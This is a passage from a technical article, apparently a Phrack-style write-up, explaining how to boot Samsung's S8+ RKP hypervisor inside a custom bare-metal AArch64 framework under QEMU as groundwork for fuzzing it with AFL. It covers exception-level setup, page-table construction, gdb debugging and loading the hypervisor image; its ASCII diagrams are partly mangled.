When a hypervisor is present in the system it can control various aspects of EL1 behavior, such as trapping certain operations traditionally handled by EL1 to the hypervisor allowing the latter to decide how to handle the operation. Hypervisor Configuration Register (HCR_EL2) is the system register the allows hypervisors to define which of these behaviors they would like to enable.

Last but not least, a core feature of the virtualization extensions is the Stage 2 (S2) translation. As depicted below, this feature splits the standard translation process into two steps. First, using the EL1 translation tables (stored at Translation Table Base Register TTBRn_EL1) which are controlled by EL1, the Virtual Address (VA) is translated to an Intermediate Physical Address (IPA), instead of a Physical Address (PA) of the standard process. The IPA is then translated to a PA by the hypervisor using the Stage 2 translation table (stored at Virtual Translation Table Base Register VTTBR_EL2) which is fully controlled by EL2 and not accessible by EL1. Note that once S2 translation is enabled, EL1 does not access physical memory immediately and every IPA must always be translated via S2 tables for the actual PA access.

Of course, EL2 and EL3 maintain their own Stage 1 translation tables for their code and data VAs, which perform the traditional VA to PA mapping.

Intermediate

Virtual Memory Map Guest Physical

Guest OS Memory Map

IPA)

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| +‑‑‑‑‑‑‑‑‑‑‑‑+ |

| | OS (EL 1) | | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | | Flash | |

| +‑‑‑‑‑‑‑‑‑‑‑‑+ | | Guest OS | | +‑‑‑‑‑‑‑‑‑+ |

| +‑‑>+ Translation Tables +‑‑>+ |

| +‑‑‑‑‑‑‑‑‑‑‑‑+ | | TTBRn_EL1 | | +‑‑‑‑‑‑‑‑‑+ |

| | APP (EL 0) | | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | | RAM | |

| +‑‑‑‑‑‑‑‑‑‑‑‑+ |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

|

v Real Physical | +‑‑‑‑‑‑‑‑‑+ |

+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑+ Memory Map | | Flash | |

| Translation tables | | +‑‑‑‑‑‑‑‑‑+

| VTTBR_EL2 +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑RAM | |

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

| +‑‑‑‑‑‑‑‑‑‑‑‑+ | | Hypervisor |

| | Hyp (EL 2) | +‑‑>+ Translation Tables |

| +‑‑‑‑‑‑‑‑‑‑‑‑+ | | TTBR0_EL2 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this article we will be focusing on Normal World, implementing the EL3 and EL1 framework to bootstrap a proprietary EL2 implementation.

‑‑‑‑[ 1.2 ‑ Samsung Hypervisor

As part of its ecosystem Samsung implements a security platform named Samsung Knox [01] which among others comprises a hypervisor implementation called Real‑Time Kernel Protection (RKP). RKP aims to achieve various security features [02], such as the prevention of unauthorized privileged code execution, the protection of critical kernel data (i.e. process credentials) etc.

Previous versions of the Samsung hypervisor have been targeted before, with [03] being the most notable exemplar. There, Samsung S7 hypervisor was analyzed in great detail and the article provided valuable information. Moreover, Samsung S8+ hypervisor is stripped and strings are obfuscated whereas S7 is not, providing a valuable resource for binary diffing and string comparison. Finally, the under examination S8+ hypervisor shares many similarities regarding the system architecture which have slowly begun disappearing in the latest models such as Samsung S10.

One of the most obvious differences is the location of the binary and the bootstrap process. In sum, for S8+ the hypervisor binary is embedded in the kernel image and the precompiled binary can be found in the kernel source tree under init/vmm.elf (the kernel sources are available at [04]). The kernel is also responsible for bootstrapping and initializing RKP. On the other hand, the S10+ hypervisor binary resides in a separate partition, is bootstrapped by the bootloader and then initialized by the kernel. We will provide more details in the corresponding sections that follow.

All these reasons contributed to the selection of the S8 hypervisor as the target binary, as they ease the analysis process, remove undesired complexity from secondary features/functionalities and allow focusing on the core required knowledge for our demonstration. Ultimately, though, it was an arbitrary decision and other hypervisors could have been selected.

‑‑‑‑[ 1.3 ‑ Workspace Environment

As aforementioned the targeted Samsung version is G955FXXU4CRJ5 and QEMU version is 4.1.0. Both the hypervisor and our framework are 64‑bit ARM binaries. QEMU was configured to only support AArch64 targets and built with gcc version 7.4.0, while the framework was built with aarch64‑linux‑gnu‑gcc version 8.3.0. For debugging purposes we used aarch64‑eabi‑linux‑gdb version 7.11.

$ git clone git://git.qemu‑project.org/qemu.git

$ cd qemu

$ git checkout v4.1.0

$ ./configure ‑‑target‑list=aarch64‑softmmu ‑‑enable‑debug

$ make ‑j8

AFL version is 2.56b and is also compiled with gcc version 7.4.0.

$ git clone https://github.com/google/afl

$ cd afl

$ git checkout v2.56b

$ make

‑‑[ 2 ‑ Framework Implementation & RKP Analysis

The first important thing to mention regarding the framework is that it is compiled as an ELF AArch64 executable and treated as a kernel image, since QEMU allows to boot directly from ELF kernel images in EL3 and handles the image loading process. This greatly simplifies the boot process as we are not required to implement separate firmware binary to handle image loading. Function `_reset()` found in framework/boot64.S is the starting execution function and its physical address is 0x80000000 (as specified in the linker script framework/kernel.ld) instead of the default value of 0x40000000 for our QEMU setup (the reasoning behind this is explained later when the framework physical memory layout is discussed).

We are now ready to start executing and debugging the framework which is contained in the compilation output kernel.elf. We use the virt platform, cortex‑a57 cpu with a single core, 3GB of RAM (the reason for this size is clarified during the memory layout discussion later), with Secure mode (EL3) and virtualization mode (EL2) enabled and wait for gdb to attach.

$ qemu‑system‑aarch64 \

‑machine virt \

‑cpu cortex‑a57 \

‑smp 1 \

‑m 3G \

‑kernel kernel.elf \

‑machine gic‑version=3 \

‑machine secure=true \

‑machine virtualization=true \

‑nographic \

‑S ‑s

$ aarch64‑eabi‑linux‑gdb kernel.elf ‑q

Reading symbols from kernel.elf...done.

(gdb) target remote :1234

Remote debugging using :1234

_Reset () at boot64.S:15

15 ldr x30, =stack_top_el3

(gdb) disassemble

Dump of assembler code for function _Reset:

=> 0x0000000080000000 <+0>: ldr x30, 0x80040000 0x0000000080000004 <+4>: mov sp, x30

...

The framework boot sequence is presented below. We will explain the individual steps in the following sections. Note that we will not be following the graph in a linear manner.

+‑‑‑‑‑‑‑+ +‑‑‑‑

| EL3 | | EL2 | | EL1 |

+‑‑‑‑‑‑‑+ +‑‑‑‑

| .

_reset .

| .

copy_vmm .

| .

eret ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑start_el1

| .

| .enable_mmu

| .

handle_interrupt_el3 <‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ smc(CINT_VMM_INIT)

| .

_vmm_init_el3 .

| .

eret(0xb0101000) ‑‑‑‑‑‑‑‑‑‑> start |

| |

| |

handle_interrupt_el3 <‑‑‑ smc(0xc2000401) |

| |

_reset_and_drop_el1_main |

| |

eret ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑el1_main

| |

| |el1_main

| |

| |rkp_init

| |

| |rkp_call

| |

| vmm_dispatch <‑‑‑‑‑‑‑‑‑‑ hvc(RKP_INIT)

| |

| vmm_synchronous_handler |

| |

| rkp_main |

| |

| my_handle_cmd_init |

| |

| various init functions... |

| |

| rkp_paging_init |

| |

| process el1 page tables |

| |

| eret ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑> el1_main

| |

| |

| |

| |

‑‑‑‑[ 2.1 ‑ System Bootstrap

The first thing to do after a reset is to define the stack pointers and exception vectors. Since EL2 system register values are handled by RKP during its initialization, we will be skipping EL2 registers to avoid affecting RKP configurations, except for any required reserved values as dictated by AARM. Moreover, various available oracles which will be discussed later can be examined to verify the validity of the system configuration after initializations are complete.

Stack pointers (SP_ELn) are set to predefined regions, arbitrarily sized 8kB each. Vector tables in AArch64 comprise 16 entries of 0x80 bytes each, must be 2kB aligned and are set in VBAR_ELx system configuration registers where x denotes the EL (for details refer to AARM section "D1.10 Exception entry" and "Bare‑metal Boot Code for ARMv8‑A Processors").

| Exception taken from EL | Synchronous | IRQ | FIQ | SError |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Current EL (SP_EL0) | 0x000 | 0x080 | 0x100 | 0x180 | | Current EL (SP_ELx, x>0) | 0x200 | 0x280 | 0x300 | 0x380 | | Lower EL AArch64 | 0x400 | 0x480 | 0x500 | 0x580 | | Lower EL AArch32 | 0x600 | 0x680 | 0x700 | 0x780 |

In our minimal implementation we will not be enabling IRQs or FIQs. Moreover, we will not be implementing any EL0 applications or performing `svc` calls from our kernel and as a result all VBAR_EL1 entries are set to lead to system hangs (infinite loops). Similarly, for EL3 we only expect synchronous exceptions from lower level AArch64 modes. As a result only the corresponding `vectors_el3` entry (+0x400) is set and all others lead to system hang as with EL1 vectors. The exception handler saves the current processor state (general purpose and state registers) and invokes the second stage handler. We follow the `smc` calling convention [05], storing the function identifier in W0 register and arguments in registers X1‑X6 (even though we only use one argument). If the function identifier is unknown, then the system hangs, a decision of importance in the fuzzing setup.

// framework/vectors.S

.align 11

.global vectors

vectors:

/*

* Current EL with SP0

*/

.align 7

b . /* Synchronous */

.align 7

b . /* IRQ/vIRQ */

...

.align 11

.global vectors_el3

vectors_el3:

...

/*

* Lower EL, aarch64

*/

.align 7

b el3_synch_low_64

...

el3_synch_low_64:

build_exception_frame

bl handle_interrupt_el3

cmp x0, #0

b.eq 1f

b .

1:

restore_exception_frame

eret

...

Processors enter EL3 after reset and in order to drop to a lower ELs we must initialize the execution state of the desired EL and control registers and construct a fake state in the desired EL to return to via `eret`. Even though we will be dropping from EL3 directly to EL1 to allow the proprietary EL2 implementation to define its own state, we still have to set some EL2 state registers values to initialize EL1 execution state. Failure to comply with the minimal configuration results in `eret` invocation to have no effect on the executing exception level (at least in QEMU), in other words we can not drop to lower ELs.

In detail, to drop from EL3 to EL2 we have to define EL2 state in Secure Configuration Register (SCR_EL3). We set SCR_EL3.NS (bit 0) to specify that we are in Normal World, SCR_EL3.RW (bit 10) to specify that EL2 is AArch64 and any required reserved bits. Additionally, we set SCR_EL3.HCE (bit 8) to enable the `hvc` instruction here, although this could also be performed at later steps. Next, to be able to drop to EL1 we modify Hypervisor Configuration Register (HCR_EL2) to set HCR_EL2.RW (bit 31) and specify that EL1 is AArch64 and any other required reserved bits. To be as close as possible to the original setup we set some more bits here, such as HCR_EL2.SWIO (bit 1) which dictates the cache invalidation behavior. These additional values are available to us via the aforementioned oracles which will be presented later in the article.

// framework/boot64.S

.global _reset

_reset:

// setup EL3 stack

ldr x30, =stack_top_el3

mov sp, x30

// setup EL1 stack

ldr x30, =stack_top_el1

msr sp_el1, x30

...

// Setup exception vectors for EL1 and EL3 (EL2 is setup by vmm)

ldr x1, = vectors

msr vbar_el1, x1

ldr x1, = vectors_el3

msr vbar_el3, x1

...

// Initialize EL3 register values

ldr x0, =AARCH64_SCR_EL3_BOOT_VAL

msr scr_el3, x0

// Initialize required EL2 register values

mov x0, #( AARCH64_HCR_EL2_RW )

orr x0, x0,#( AARCH64_HCR_EL2_SWIO )

msr hcr_el2, x0

...

/*

* DROP TO EL1

*/

mov x0, #( AARCH64_SPSR_FROM_AARCH64 | AARCH64_SPSR_MODE_EL1 | \ AARCH64_SPSR_SP_SEL_N)

msr spsr_el3, x0

// drop to function start_el1

adr x0, start_el1

msr elr_el3, x0

eret

For the fake lower level state, Exception Link Register (ELR_EL3) holds the exception return address, therefore we set it to the desired function (`start_el1()`). Saved Process Status Register (SPSR_EL3) holds the processor state (PSTATE) value before the exception, so we set its values so that the fake exception came from EL1 (SPSR_EL3.M bits[3:0]), using SP_EL1 (SPSR_EL3.M bit 0) and executing in AArch64 mode (SPSR_EL3.M bit 4). `eret` takes us to `start_el1()` in EL1. The final register related to exceptions is Exception Syndrome Register (ESR_ELx) which holds information regarding the nature of the exception (syndrome information) and as such it has no value to the returning EL and can be ignored.

‑‑‑‑‑‑[ 2.1.1 ‑ EL1

As aforementioned our goal is to provide a minimal setup. Considering this, there is also the need to be as close as possible to the original setup. Our EL1 configuration is defined with those requirements in mind and to achieve this we used system configuration register values from both the kernel source and the EL2 oracles that will be presented in the following sections, but for now we can safely assume these are arbitrarily chosen values. We will be presenting details regarding some critical system register values but for detailed descriptions please refer to AARM section "D13.2 General system control registers".

start_el1:

// initialize EL1 required register values

ldr x0, =AARCH64_TCR_EL1_BOOT_VAL

msr tcr_el1, x0

ldr x0, =AARCH64_SCTLR_EL1_BOOT_VAL

msr sctlr_el1, x0

...

#define AARCH64_TCR_EL1_BOOT_VAL ( \

( AARCH64_TCR_IPS_1TB << AARCH64_TCR_EL1_IPS_SHIFT ) | \ ( AARCH64_TCR_TG1_4KB << AARCH64_TCR_EL1_TG1_SHIFT ) | \ ( AARCH64_TCR_TSZ_512G << AARCH64_TCR_EL1_T1SZ_SHIFT ) | \ ( AARCH64_TCR_TG0_4KB << AARCH64_TCR_EL1_TG0_SHIFT ) | \ ( AARCH64_TCR_TSZ_512G << AARCH64_TCR_EL1_T0SZ_SHIFT ) | \ ...

)

As Translation Control Register (TCR_EL1) values suggest, we use a 40‑bit 1TB sized Intermediate Physical Address space (TCR_EL1.IPS bits[34:32]), for both TTBR0_EL1 and TTBR1_EL1 4kB Translation Granule size (TCR_EL1.TG1 bits [31:30] and TCR_EL1.TG0 [15:14] respectively) and 25 size offset which means that there is a 64‑25=39 bit or 512GB region of input VAs for each TTBRn_EL1 (TCR_EL1.T1SZ bits[21:16] and TCR_EL1.T0SZ bits[5:0]).

By using 4kB Granularity each translation table size is 4kB and each entry is a 64‑bit descriptor, hence 512 entries per table. So at Level 3 we have 512 entries each pointing to a 4kB page or in other words we can map a 2MB space. Similarly, Level 2 has 512 entries each pointing to a 2MB space summing up to a 1GB address space and Level 1 entries point to 1GB spaces summing up to a 512GB address space. In this setup where there are 39bit input VAs we do not require a Level 0 table as shown from the translation graph. For more details refer to AARM section "D5.2 The VMSAv8‑64 address translation system".

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

| [38:30] | [29:21] | [20:12] | [11:0] | VA segmentation with

| | | | 4kB Translation Granule

| Level 1 | Level 2 | Level 3 | Block off | 512GB input address space

+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑

Physical Address

+‑‑‑‑‑‑‑‑‑‑

VA Translation | [39:12] | [11:0] |

demonstration with +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑

4kB Granule, ^

512GB Input VA Space |

1TB IPS |

Level 1 tlb Level 2 tlb Level 3 tlb | |

+‑‑‑‑‑‑‑‑> +‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑>+‑‑‑

| | | | |

| +‑‑‑‑‑‑‑‑‑‑‑+ | +‑‑‑

| | 1GB block | | | 2MB block | | | | | |

| | entry | | | entry | | | | | |

| +‑‑‑‑‑‑‑‑‑‑‑+ | +‑‑‑

| | | | |

| +‑‑‑‑‑‑‑‑‑‑‑+ | |

| +‑‑>+ Tbl entry +‑‑‑+ | | | |

+‑‑‑+‑‑‑+ | +‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑

| TTBRn | | | | +‑‑>+ Tbl entry +‑‑+ +‑‑‑‑‑‑‑‑‑‑‑+ | |

+‑‑‑+‑‑‑+ | | | | +‑‑‑Pg entry +‑‑+ |

^ | | | | |

| | | | | |

+‑‑+ | +‑‑‑‑‑‑‑‑‑‑‑+ | +‑‑‑

| | +‑‑‑‑‑‑+

| +‑‑‑‑+ Index +‑‑‑‑+ | +‑‑+ +‑

| | |

+‑‑‑‑+‑+‑+‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑+‑‑‑‑+‑‑‑‑+

| | | | Level 0 | Level 1 | Level 2 | Level 3 | PA offset | VA

+‑‑‑‑+‑‑‑+‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑+‑‑‑‑‑

[55] [47:39] [38:30] [29:21] [20:12] [11:0] TTBRn Select

For Levels 1 and 2 every entry can either point to the next translation table level (table entry) or to the actual physical address (block entry) effectively ending translation. The entry type is defined in bits[1:0], where bit 0 identifies whether the descriptor is valid (1 denotes a valid descriptor) and bit 1 identifies the type, value 0 being used for block entries and 1 for table entries. As a result entry type value 3 identifies table entries and value 1 block entries. Level 1 block entries point to 1GB memory regions with VA bits[29:0] being used as the PA offset and Level 2 block entries point to 2MB regions with bits[20:0] used as the offset. Last but not least, Level 3 translation tables can only have page entries (similar to block entries but with descriptor type value 3, as previous level table entries).

61 51 11 2 1:0

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Block Entry

| Upper Attr | ... | Low Attr | Type | Stage 1

+‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Translation

| bits | Attr | Description |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 4:2 | AttrIndex | MAIR_EL1 index |

| 7:6 | AP | Access permissions |

| 53 | PXN | Privileged execute never |

| 54 | (U)XN | (Unprivileged) execute never |

Block entry attributes

| AP | EL0 Access | EL1/2/3 Access | for Stage 1 translation

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00 | None | Read Write |

| 01 | Read Write | Read Write |

| 10 | None | Read Only |

| 11 | Read Only | Read Only |

61 59 2 1:0

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Table Entry

| Attr | ... Type | Stage 1

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑Translation

| bits | Attr | Description |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 59 | PXN | Privileged execute never |

| 60 | U/XN | Unprivileged execute never |

| 62:61 | AP | Access permissions |

Table entry attributes

| AP | Effect in subsequent lookup levels | for Stage 1 translation

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| 00 | No effect |

| 01 | EL0 access not permitted |

| 10 | Write disabled |

| 11 | Write disabled, EL0 Read disabled |

In our setup we use 2MB regions to map the kernel and create two mappings. Firstly, an identity mapping (VAs are equal to the PAs they are mapped to) set to TTBR0_EL1 and used mainly when the system transitions from not using the MMU to enabling it. Secondly, the TTBR1_EL1 mapping where PAs are mapped to VA_OFFSET + PA, which means that getting the PA from a TTBR1_EL1 VA or vice versa is simply done by subtracting or adding the VA_OFFSET correspondingly. This will be of importance during the RKP initialization.

#define VA_OFFSET 0xffffff8000000000

#define __pa(x) ((uint64_t)x ‑ VA_OFFSET)

#define __va(x) ((uint64_t)x + VA_OFFSET)

The code to create the page tables and enable the MMU borrows heavily from the Linux kernel implementation. We use one Level 1 entry and the required amount of Level 2 block entries with the two tables residing in contiguous preallocated (defined in the linker script) physical pages. The Level 1 entry is evaluated by macro `create_table_entry`. First, the entry index is extracted from VA bits[38:30]. The entry value is the next Level table PA ORed with the valid table entry value. This also implicitly defines the table entry attributes, where (U)XN is disabled, Access Permissions (AP) have no effect in subsequent levels of lookup. For additional details regarding the memory attributes and their hierarchical control over memory accesses refer to AARM section "D5.3.3 Memory attribute fields in the VMSAv8‑64 translation table format descriptors".

A similar process is followed for Level 2 but in a loop to map all required VAs in macro `create_block_map`. The entry value is the PA we want to map ORed with block entry attribute values defined by AARCH64_BLOCK_DEF_FLAGS. The flag value used denotes a non‑secure memory region, (U/P)XN disabled, Normal memory as defined in Memory Attribute Indirection Register (MAIR_EL1) and Access Permissions (AP) that allow Read/Write to EL1 and no access to EL0. As with table entries, for detailed description refer to AARM section "D5.3.3". Finally, MAIR_ELx serves as a table holding information/attributes of memory regions and readers may refer to AARM section "B2.7 Memory types and attributes" for more information.

// framework/aarch64.h

/*

* Block default flags for initial MMU setup

*

* block entry

* attr index 4

* NS = 0

* AP = 0 (EL0 no access, EL1 rw)

* (U/P)XN disabled

*/

#define AARCH64_BLOCK_DEF_FLAGS ( \

AARCH64_PGTBL_BLK_ENTRY | \

0x4 << AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_IDX_SHIFT | \ AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_AP_RW_ELHIGH << \ AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_AP_SHIFT | \ AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_SH_INN_SH << \ AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_SH_SHIFT | \ 1 << AARCH64_PGTBL_BLK_ENT_STAGE1_LOW_ATTR_AF_SHIFT \ )

// framework/mmu.S

__enable_mmu:

...

bl __create_page_tables

isb

mrs x0, sctlr_el1

orr x0, x0, #(AARCH64_SCTLR_EL1_M)

msr sctlr_el1, x0

...

__create_page_tables:

mov x7, AARCH64_BLOCK_DEF_FLAGS

...

// x25 = swapper_pg_dir

u/ x20 = VA_OFFSET

mov x0, x25

adrp x1, _text

add x1, x1, x20

create_table_entry x0, x1, #(LEVEL1_4K_INDEX_SHIFT), \ #(PGTBL_ENTRIES), x4, x5

adrp x1, _text

add x2, x20, x1

adrp x3, _etext

add x3, x3, x20

create_block_map x0, x7, x1, x2, x3

...

.macro create_table_entry, tbl, virt, shift, ptrs, tmp1, tmp2 lsr \tmp1, \virt, \shift

and \tmp1, \tmp1, \ptrs ‑ 1 // table entry index

add \tmp2, \tbl, #PAGE_SIZE // next page table PA

orr \tmp2, \tmp2, #AARCH64_PGTBL_TBL_ENTRY // valid table entry

str \tmp2, [\tbl, \tmp1, lsl #3] // store new entry

add \tbl, \tbl, #PAGE_SIZE // next level table page

.endm

.macro create_block_map, tbl, flags, phys, start, end

lsr \phys, \phys, #LEVEL2_4K_INDEX_SHIFT

lsr \start, \start, #LEVEL2_4K_INDEX_SHIFT

and \start, \start, #LEVEL_4K_INDEX_MASK // table index

orr \phys, \flags, \phys, lsl #LEVEL2_4K_INDEX_SHIFT // table entry

lsr \end, \end, #LEVEL2_4K_INDEX_SHIFT // block entries counter

and \end, \end, #LEVEL_4K_INDEX_MASK // table end index

1: str \phys, [\tbl, \start, lsl #3] // store the entry

add \start, \start, #1 // next entry

add \phys, \phys, #LEVEL2_4K_BLK_SIZE // next block

cmp \start, \end

b.ls 1b

.endm

...

As a demonstration we perform a manual table walk for VA 0xffffff8080000000 which should be the TTBR1_EL1 VA of function `_reset()`. The Level 1 table index (1) is 2 and the entry value is 0x8008a003 which denotes a valid table descriptor at PA 0x8008a000. The Level 2 entry index (2) is 0 and value of the entry is 0x80000711 which denotes a block entry at physical address 0x80000000. The remaining VA bits setting the PA offset are zero and examining the resulting PA is of course the start of function `_reset()`. Note that since we have not yet enabled the MMU (as shown in the disassembly this is performed in the next instructions), all memory accesses with gdb refer to PAs that is why we can directly examine the page tables and resulting PA. In our setup that would be true even with MMU enabled due to the identity mapping, however, this should not be assumed to apply to every system.

(gdb) disas

Dump of assembler code for function __enable_mmu: 0x00000000800401a0 <+0>: mov x28, x30 0x00000000800401a4 <+4>: adrp x25, 0x80089000 // TTBR1_EL1

0x00000000800401a8 <+8>: adrp x26, 0x8008c000 0x00000000800401ac <+12>: bl 0x80040058 <__create_page_tables> => 0x00000000800401b0 <+16>: isb

0x00000000800401b4 <+20>: mrs x0, sctlr_el1 0x00000000800401b8 <+24>: orr x0, x0, #0x1

End of assembler dump.

(gdb) p/x ((0xffffff8000000000 + 0x80000000) >> 30) & 0x1ff /* (1) */

$19 = 0x2

(gdb) x/gx ($TTBR1_EL1 + 2*8)

0x80089010: 0x000000008008a003

(gdb) p/x ((0xffffff8000000000 + 0x80000000) >> 21) & 0x1ff /* (2) */

$20 = 0x0

(gdb) x/gx 0x000000008008a000

0x8008a000: 0x0000000080000711

(gdb) x/10i 0x0000000080000000

0x80000000 <_reset>: ldr x30, 0x80040000

0x80000004 <_reset+4>: mov sp, x30

0x80000008 <_reset+8>: mrs x0, currentel

Finally, with the MMU enabled we are ready to enable RKP. Since the EL2 exception vector tables are not set, the only way to do that is to drop to EL2 from EL3 as we did for EL1. We invoke `smc` with function identifier CINT_VMM_INIT which the EL3 interrupt handler redirects to function `_vmm_init_el3()`.

‑‑‑‑[ 2.2 ‑ EL2 Bootstrap

RKP binary is embedded in our kernel image using the `incbin` assembler directive as shown below and before dropping to EL2 we must place the binary in its expected physical address. Since RKP is an ELF file, we can easily obtain the PA and entry point which for this specific RKP version are 0xb0100000 and 0xb0101000 respectively. `copy_vmm()` function copies the binary from its kernel position to the expected PA during the system initialization in function `_reset()`.

// framework/boot64.S

...

.global _svmm

_svmm:

.incbin "vmm‑G955FXXU4CRJ5.elf"

.global _evmm

_evmm:

...

$ readelf ‑l vmm‑G955FXXU4CRJ5.elf

Elf file type is EXEC (Executable file)

Entry point 0xb0101000

There are 2 program headers, starting at offset 64

Program Headers:

Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x00000000b0100000 0x00000000b0100000 0x000000000003e2e0 0x000000000003e6c0 RWE 0x10000 ...

At long last we are ready to drop to EL2. Similarly to dropping to EL1, we set ELR_EL3 to the RKP entry point and SPSR_EL3 so that the fake exception came from EL2 executing in AArch64 mode. We additionally set X0 and X1 to to RKP start PA and reserved size. These values are dictated by the Samsung kernel implementation and the oracles and required by the EL2 implementation which will be explained shortly. Readers interested in the Samsung kernel implementation can refer to kernel function `vmm_init()` at kernel/init/vmm.c which is called during the kernel initialization in function `start_kernel()`.

// framework/boot64.S

.global _vmm_init_el3

.align 2

_vmm_init_el3:

// return to vmm.elf entry (RKP_VMM_START + 0x1000)

mov x0, #RKP_VMM_START

add x0, x0, #0x1000

msr elr_el3, x0

mov x0, #(AARCH64_SPSR_FROM_AARCH64 | AARCH64_SPSR_MODE_EL2 | \ AARCH64_SPSR_SP_SEL_N)

msr spsr_el3, x0

// these are required for the correct hypervisor setup

mov x0, #RKP_VMM_START

mov x1, #RKP_VMM_SIZE

eret

.inst 0xdeadc0de //crash for sure

ENDPROC(_vmm_init_el3)

One valuable source of information at this point is the Linux kernel procfs entry /proc/sec_log as it provides information about the aforementioned values during Samsung kernel `vmm_init()` invocation. This procfs entry is part of the Exynos‑SnapShot debugging framework and more information can be found in the kernel source at kernel/drivers/trace/exynos‑ss.c. A sample output with RKP related values is displayed below. Apart from the RKP related values we can see the kernel memory layout which will be helpful in creating our framework memory layout to satisfy the plethora of criteria introduced by RKP which will be presented later.

RKP: rkp_reserve_mem, base:0xaf400000, size:0x600000

RKP: rkp_reserve_mem, base:0xafc00000, size:0x500000

RKP: rkp_reserve_mem, base:0xb0100000, size:0x100000

RKP: rkp_reserve_mem, base:0xb0200000, size:0x40000

RKP: rkp_reserve_mem, base:0xb0400000, size:0x7000

RKP: rkp_reserve_mem, base:0xb0407000, size:0x1000

RKP: rkp_reserve_mem, base:0xb0408000, size:0x7f8000

software IO TLB [mem 0x8f9680000‑0x8f9a80000] (4MB) mapped at [ffffffc879680000‑ffffffc879a7ffff] Memory: 3343540K/4136960K available (11496K kernel code, 3529K rwdata, 7424K rodata, 6360K init, 8406K bss, 637772K reserved, 155648K cma‑reserved)

Virtual kernel memory layout:

modules : 0xffffff8000000000 ‑ 0xffffff8008000000 ( 128 MB) vmalloc : 0xffffff8008000000 ‑ 0xffffffbdbfff0000 ( 246 GB) .init : 0xffffff8009373000 ‑ 0xffffff80099a9000 ( 6360 KB) .text : 0xffffff80080f4000 ‑ 0xffffff8008c2f000 ( 11500 KB) .rodata : 0xffffff8008c2f000 ‑ 0xffffff8009373000 ( 7440 KB) .data : 0xffffff80099a9000 ‑ 0xffffff8009d1b5d8 ( 3530 KB) vmemmap : 0xffffffbdc0000000 ‑ 0xffffffbfc0000000 ( 8 GB maximum) 0xffffffbdc0000000 ‑ 0xffffffbde2000000 ( 544 MB actual) SLUB: HWalign=64, Order=0‑3, MinObjects=0, CPUs=8, Nodes=1 RKP: vmm_reserved

.base=ffffffc030100000 .size=1048576

.bss=ffffffc03013e2e0 .bss_size=992 .text_head=ffffffc030101000 .text_head_size=192

RKP: vmm_kimage

.base=ffffff8009375a10 .size=255184

RKP: vmm_start=b0100000, vmm_size=1048576

RKP: entry point=00000000b0101000

RKP: status=0

in rkp_init, swapper_pg_dir : ffffff800a554000

